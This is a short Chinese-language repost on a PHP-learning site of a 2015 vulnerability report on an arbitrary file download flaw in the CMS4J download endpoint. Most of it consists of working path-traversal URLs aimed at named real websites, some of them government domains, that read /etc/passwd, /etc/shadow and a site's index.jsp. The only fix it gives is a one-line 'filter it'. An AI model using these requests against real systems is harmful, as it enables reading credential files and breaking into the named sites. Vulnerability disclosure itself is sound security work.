来源：自学PHP网 时间：2015-04-17 13:03 作者： 阅读:次
[导读] CMS4J文件下载未对路径进行过滤，可以下载任意文件详细说明：http://www.kunlunhealth.com/DownloadFile?type=fullfile=/../../../../../../../../../etc/passwd涉及部分gov网站。。漏洞证明：http://www.nndj.......
|
CMS4J文件下载未对路径进行过滤，可以下载任意文件
详细说明： http://www.kunlunhealth.com/DownloadFile?type=full&file=/../../../../../../../../../etc/passwd 涉及部分gov网站。。 漏洞证明： http://www.nndj.gov.cn/DownloadFile?type=full&file=/../../../../../../../../../../../etc/shadow http://www.hfjjzd.gov.cn:8080/DownloadFile?type=full&file=/index.jsp  修复方案： 过滤吧 作者 zmx |
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习，以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明：本站所有视频，教程都由网友上传，站长收集和分享给大家学习使用，如由牵扯版权问题请联系站长邮箱904561283@qq.com
